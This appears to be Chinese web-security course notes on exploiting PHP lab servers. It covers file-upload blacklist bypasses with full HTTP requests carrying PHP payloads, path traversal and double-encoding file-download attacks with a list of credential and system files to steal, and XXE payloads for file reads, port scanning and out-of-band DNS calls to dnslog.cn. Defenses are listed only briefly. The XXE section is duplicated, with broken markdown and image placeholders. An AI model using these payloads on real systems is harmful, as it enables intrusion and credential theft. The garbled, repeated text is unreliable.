POST /uploadfiles/uploadfiles.php HTTP/1.1 Host: 192.168.43.128 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.43.128/uploadfiles/index1.html Connection: close Content-Type: multipart/form-data; boundary=---------------------------6164102741675 Content-Length: 214 -----------------------------6164102741675 Content-Disposition: form-data; name="f"; filename="m4.php." Content-Type: application/octet-stream <?php phpinfo();?> -----------------------------6164102741675
服务端程序可以进一步优化,把文件名后面的所有.都去掉,再比较扩展名是否允许
<?php function deldot($filename){ // 正则表达式匹配字符串末尾的一个或多个点号 $pattern = '/\.+$/'; // 使用preg_replace删除匹配的部分 $result = preg_replace($pattern, '', $filename); return $result; } $tmp = $_FILES['f']['tmp_name']; $name = $_FILES['f']['name']; $type = $_FILES['f']['type']; echo "$name"; $name = deldot($name); echo "$name"; //定义一个不允许的扩展名的列表(黑名单) $extlist = ['php','html','jsp','asp','aspx']; $ext = end(explode(".",$name));//获取最后一个点后面的扩展名 $ext = strtolower($ext);//一律转成小写 if(in_array($ext,$extlist)){ die("upload fail"); }else{ move_uploaded_file($tmp,"/opt/lampp/htdocs/uploadfiles/".$name); } ?>
针对把文件名末尾的所有的.都去掉的情况可以在文件名的末尾使用的多个.中间增加空格
POST /uploadfiles/uploadfiles.php HTTP/1.1 Host: 192.168.43.128 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.43.128/uploadfiles/index1.html Connection: close Content-Type: multipart/form-data; boundary=---------------------------2605197738809 Content-Length: 221 -----------------------------2605197738809 Content-Disposition: form-data; name="f"; filename="m4.php. ....." Content-Type: application/octet-stream <?php phpinfo();?> -----------------------------2605197738809--
如果防御程序把文件名后面的点以及空格都删除的话。还可以通过下面的方式绕过,文件名改成m4.php.aa.bb.cc
访问的时候依然正常访问。php程序还是会被执行
http://192.168.43.128/uploadfiles/include.php?f=m4.php.aa.bb.cc
原理:php引擎在解析url的时候,会从右向左依次按照.隔开,去寻找是否有php这种扩展名,如果找到了,就按照php执行
POST /uploadfiles/uploadfiles.php HTTP/1.1 Host: 192.168.43.128 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.43.128/uploadfiles/index1.html Connection: close Content-Type: multipart/form-data; boundary=---------------------------2605197738809 Content-Length: 217 -----------------------------2605197738809 Content-Disposition: form-data; name="f"; filename="m4.php.aa.bb.cc" Content-Type: application/octet-stream <?php phpinfo();?> -----------------------------2605197738809--
如果程序中把文件名中的php,asp,jsp等等类似的字符串替换为空字符
$filename = str_replace("php","",$filename);
这种情况可以进行双写绕过
还可以大小写绕过
上传文件的时候,把扩展名写成aa.pphphp
apache配置文件导致的绕过
这个配置增加后,apache会把扩展为 php3,php5文件都作为php来执行,但是程序员在做检查的时候,不知道这个配置,只是检查了php的扩展名
在httpd.conf目录中,找到AddType application/x-httpd-php
在后面添加.php3 .php5
重启apache : /opt/lampp restart
还有另外一种依靠配置文件绕过的方法
首先在/opt/lampp/etc/httpd.conf中有个配置项AllowOverride 需要设置为All
其次,在php文件所在的目录中有一个名称为.htaccess的配置文件,其中配置了可以被当做php执行的文件的扩展名:
//这个文件名字必须是.htaccess,它通过指明特定文件以php解析方式,这里配置就是xac结尾的文件当做php来执行。实现绕过
<FilesMatch "\.xac$">
SetHandler application/x-httpd-php
</FilesMatch>
在windows系统中,可以使用在文件名后面增加::$DATA来绕过黑名单检查
使用burp拦截请求,并把文件名修改,在后面增加::$DATA
如下参数burp拦截的请求
POST /hz02/posts/uploadfiles.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://localhost/hz02/posts/index1.html Connection: close Content-Type: multipart/form-data; boundary=---------------------------18547967226319 Content-Length: 216 -----------------------------18547967226319 Content-Disposition: form-data; name="f"; filename="m4.php::$DATA" Content-Type: application/octet-stream <?php phpinfo();?> -----------------------------18547967226319--
以上所有都是基于黑名单的防御和绕过
下面的是基于白名单:
<?php function deldot($filename){ // 正则表达式匹配字符串末尾的一个或多个点号 $pattern = '/\.+$/'; // 使用preg_replace删除匹配的部分 $result = preg_replace($pattern, '', $filename); return $result; } $tmp = $_FILES['f']['tmp_name']; $name = $_FILES['f']['name']; $type = $_FILES['f']['type']; echo "$name"; $name = deldot($name); echo "$name"; //定义一个允许的扩展名的列表(白名单) $extlist = ['jpg','jpeg','png']; $ext = end(explode(".",$name));//获取最后一个点后面的扩展名 $ext = strtolower($ext);//一律转成小写 if(in_array($ext,$extlist)){ move_uploaded_file($tmp,"/opt/lampp/htdocs/uploadfiles/".$name); }else{ die("upload fail"); } ?>
这种情况可以考虑使用图片马,但是要结合文件包含的漏洞。
在php中,由于对用户输入没有校验,可以通过文件下载访问任意文件。
$file=$_GET['file'];
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=".basename($file));
echo file_get_contents($file);
payload:
linux:
xx.php?file=/etc/passwd
xxx.php?file=db.php
windows:
xxx.php?file=C:\boot.ini
敏感文件:
windows: C:\boot.ini//查看系统版本 C:\Windows\win.ini//基本系统配置文件 C:\Windows\System32\inetsrv\MetaBase.xml//IIS配置文件 C:\Windows\repair\sam//存储系统初次安装的密码 C:\ProgramFiles\mysql\my.ini//Mysql配置 C:\ProgramData\MySQL\mysqlxxx\my.ini C:\ProgramFiles\mysql\data\mysql\user.MYD//Mysqlroot C:\Windows\php.ini//php配置信息 C:\Windows\my.ini//Mysql配置信息 linux: /root/.ssh/authorized_keys//ssh登录认证文件 /root/.ssh/id_rsa//公钥文件 /root/.ssh/id_rsa.keystore//密钥存放文件 /root/.ssh/known_hosts//已访问过的主机公钥记录文件 /etc/passwd//用户信息 /etc/shadow//密码存放文件 /etc/my.cnf//mysql配置文件 /etc/httpd/conf/httpd.conf//apache配置文件 /root/.bash_history//记录系统历史命令文件 /root/.mysql_history//记录数据库历史命令文件 /proc/self/fd/fd[0-9]*(文件标识符)//连接当前正运行的进程 /proc/mounts//已挂载的文件系统信息 /porc/config.gz//内核配置文件
获取服务器上的文件和资料。
$file=$_GET['file'];
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=".basename($file));
echo file_get_contents('/opt/lampp/htdocs/hz02/posts/upload/'.$file);//把下载的文件增加绝对路径限制
此时如果想下载/etc/passwd,是无法下载到正确文件的。
http://192.168.128.128/hz02/posts/download.php?file=/etc/passwd
绕过方式: 目录穿越(…/…/…/…/…/etc/passwd)
http://192.168.128.128/hz02/posts/download.php?file=../../../../../../../../../../../etc/passwd
$file = str_replace("../","",$file);
如果php代码中,手工使用urldecode来解码$file变量,那么可以采用下面的两次url编码绕过
echo file_get_contents('/opt/lampp/htdocs/hz02/posts/upload/'.urldecode($file);//手工使用urldecode解码文件名称
此时,我们在请求的时候,可以使用两次url编码来做目录穿越,如下:
第一次url编码:把../编码为%2e%2e%2f
http://192.168.128.128/hz02/posts/download.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
第二次url编码:把上面的%2e%2e%2f再一次进行url编码
http://192.168.128.128/hz02/posts/download.php?file=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66etc/passwd
echo file_get_contents('/opt/lampp/htdocs/hz02/posts/upload/'.$file.'.jpg');//加了前缀路径,还增加了后缀扩展名
前缀加后缀的就很难绕过了
url中传id,具体文件名在数据库中,或在配置文件中取出,这种就没什么办法绕过了。因为用户的输入不能决定下载哪个文件。
如果没有加前缀,只加了后缀,那么远程文件包含可以通过?来绕过
例如:这段下载的代码
<?php
$file=$_GET['file'];
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=".basename($file));
echo file_get_contents($file.".jpg");
?>
请求下载远程的文件,这里的远程文件地址后面跟着?a=b,再拼接上php中的.jpg就变成了a=b.jpg这个参数是传给cspreport.txt的,这样就绕过了后缀,直接下载的是cspreport.txt
http://localhost/hz02/posts/download.php?file=http://192.168.161.128/jsonp/cspreport.txt?a=b
%00截断字符绕过后缀,只使用与PHP5.3以及更低版本,并且magic_quotes_gpc = Off才可以。
%00是\0的url编码,在c语言中代表字符串的结束。
magic_quotes_gpc = On会自动开始特殊字符的转码,单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线;这个选项在PHP5.4中就已经开始废弃了
配置在php.ini中open_basedir,指定路径,只能访问某个指定目录或子目录中的内容,包括php文件,其他目录都不可以访问
open_basedir = D:\xampp8\htdocs\hz02\posts\
当我们尝试下载文件的时候,
http://localhost/hz02/posts/download.php?file=C:\Users\Administrator\Desktop\tmp\paswd
会报错:
Warning: file_get_contents(): open_basedir restriction in effect. File(C:\Users\Administrator\Desktop\tmp\paswd) is not within the allowed path(s):
绕过:
1、目录穿越: ../../../,绕过前缀目录
2、二次编码绕过: 把../经过两次编码
3、远程文件包含使用?绕过后缀
4、%00截断字符绕过后缀,只使用与PHP5.3以及更低版本,并且magic_quotes_gpc = Off才可以。
防御:
1、配置open_basedir
2、包含或下载的文件名称不允许用户输入,直接写死在代码中
3、检查用户输入的参数,过滤../../../ 或经过编码的%2e%2e%2f
4、禁止使用远程包含,关闭allow_url_include 参数
5、添加白名单,不在白名单中的禁止使用
XXE(XML External Entity Injection)xml外部实体注入
Web应用的脚本代码没有限制XML引入外部实体,从而导致测试者可以创建一个包含外部实体的XML,使得其中的内容会被服务器端执行
注意:这个漏洞必须是在libxml2.9.1这个版本以及更低的版本才能利用。
当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害
1、语法规则:
XML必须有个根元素
XML标签必须具有结束标记
XML标签区分大小写
XML元素必须正确嵌套
XML属性值必须始终加引号
<note date="12/11/2007">
<to>Tove</to>
<from>Jani</from>
</note>
1、DTD(document type definition)
文档类型声明:DTD的作用是定义XML文档的合法构造模块,可以在内部声明,也可以外部引用
所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA CDATA)构成
内部声明:
<!--XML申明--> <?xml version="1.0"?> <!--文档类型定义--> <!DOCTYPE user [ <!--定义此文档是 user 类型的文档--> <!ELEMENT user (name,age,sex,saying)> <!--定义user元素有四个元素--> <!ELEMENT name (#PCDATA)> <!--定义name元素为”#PCDATA”类型--> <!ELEMENT age (#PCDATA)> <!--定义age元素为”#PCDATA”类型--> <!ELEMENT sex (#PCDATA)> <!--定义sex元素为”#PCDATA”类型--> <!ELEMENT saying (#PCDATA)> <!--定义saying元素为”#PCDATA”类型--> ]]]> <!--文档元素--> <user> <name>alex</name> <age>22</age> <sex>man</sex> <saying>I can do anything I want</saying> </user>
外部声明:
user.dtd
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE 成 [ <!--定义此文档是 user 类型的文档-->
<!ELEMENT user (name,age,sex,saying)> <!--定义user元素有四个元素-->
<!ELEMENT name (#PCDATA)> <!--定义name元素为”#PCDATA”类型-->
<!ELEMENT age (#PCDATA)> <!--定义age元素为”#PCDATA”类型-->
<!ELEMENT sex (#PCDATA)> <!--定义sex元素为”#PCDATA”类型-->
<!ELEMENT saying (#PCDATA)> <!--定义saying元素为”#PCDATA”类型-->
]]]>
xml内容
user.xml
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!--定义此文档是 note 类型的文档-->
<!DOCTYPE user SYSTEM "user.dtd">
<!--文档元素-->
<user>
<name>alex</name>
<age>22</age>
<sex>man</sex>
<saying>I can do anything I want</saying>
</user>
2、实体:
在DTD中声明的变量就是实体,通过在标签中使用&实体名;
引用
(1)内部实体:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY name "alex">]>
<foo>
<value>&name;</value>
</foo>
(2)外部实体:<!ENTITY 实体名 SYSTEM 文件名>
test.dtd
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "abcefg">]>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<foo>
<user>&xxe;</user>
<pass>mypass</pass>
</foo>
区别:内部实体变量值是固定的,而外部实体是给定外部文件中获取。
当外部实体引用的文件变为用户可控输入时,用户就可以使用任意地址来getshell
<!ENTITY name SYSTEM 任意文件路径>
php代码:
<?php
$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml,"SimpleXMLElement",LIBXML_NOENT);
echo $data;
?>
payload:
http://192.168.32.129/secure21/php/xxedemo.php post正文: <?xml version="1.0"?> <!DOCTYPE node[ <!ENTITY woniu SYSTEM "file:///etc/passwd"> ]> <node>&woniu;</node> 也可以使用base64获取代码 <?xml version="1.0"?> <!DOCTYPE node[ <!ENTITY woniu SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/lampp/htdocs/hz02/posts/testxxe.php"> ]> <node>&woniu;</node> 也可以扫描端口:端口开放应该没有响应,不开放,会报错 <?xml version="1.0"?> <!DOCTYPE node[ <!ENTITY woniu SYSTEM "http://192.168.108.128:3306"> ]> <node>&woniu;</node>
DNS带外探测:
dnslog.cn申请临时域名
payload:
在临时域名前增加test.
<?xml version="1.0"?>
<!DOCTYPE node[
<!ENTITY woniu SYSTEM "http://test.kxhkip.dnslog.cn">
]>
<node>&woniu;</node>
访问后发现有dns日志,说明存在这个xxe的漏洞
<?xml version="1.0"?> alex 22 man I can do anything I want2、实体: 在DTD中声明的变量就是实体,通过在标签中使用`&实体名;`引用 (1)内部实体: ```xml-dtd <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY name "alex">]> <foo> <value>&name;</value> </foo>
(2)外部实体:<!ENTITY 实体名 SYSTEM 文件名>
test.dtd
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "abcefg">]>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<foo>
<user>&xxe;</user>
<pass>mypass</pass>
</foo>
区别:内部实体变量值是固定的,而外部实体是给定外部文件中获取。
当外部实体引用的文件变为用户可控输入时,用户就可以使用任意地址来getshell
<!ENTITY name SYSTEM 任意文件路径>
php代码:
<?php
$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml,"SimpleXMLElement",LIBXML_NOENT);
echo $data;
?>
payload:
http://192.168.32.129/secure21/php/xxedemo.php post正文: <?xml version="1.0"?> <!DOCTYPE node[ <!ENTITY woniu SYSTEM "file:///etc/passwd"> ]> <node>&woniu;</node> 也可以使用base64获取代码 <?xml version="1.0"?> <!DOCTYPE node[ <!ENTITY woniu SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/lampp/htdocs/hz02/posts/testxxe.php"> ]> <node>&woniu;</node> 也可以扫描端口:端口开放应该没有响应,不开放,会报错 <?xml version="1.0"?> <!DOCTYPE node[ <!ENTITY woniu SYSTEM "http://192.168.108.128:3306"> ]> <node>&woniu;</node>
[外链图片转存中…(img-fl8RORS2-1711174666919)]
DNS带外探测:
dnslog.cn申请临时域名
[外链图片转存中…(img-FpNmfzxC-1711174666920)]
payload:
在临时域名前增加test.
<?xml version="1.0"?>
<!DOCTYPE node[
<!ENTITY woniu SYSTEM "http://test.kxhkip.dnslog.cn">
]>
<node>&woniu;</node>
[外链图片转存中…(img-YmjzOe9V-1711174666920)]
访问后发现有dns日志,说明存在这个xxe的漏洞
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。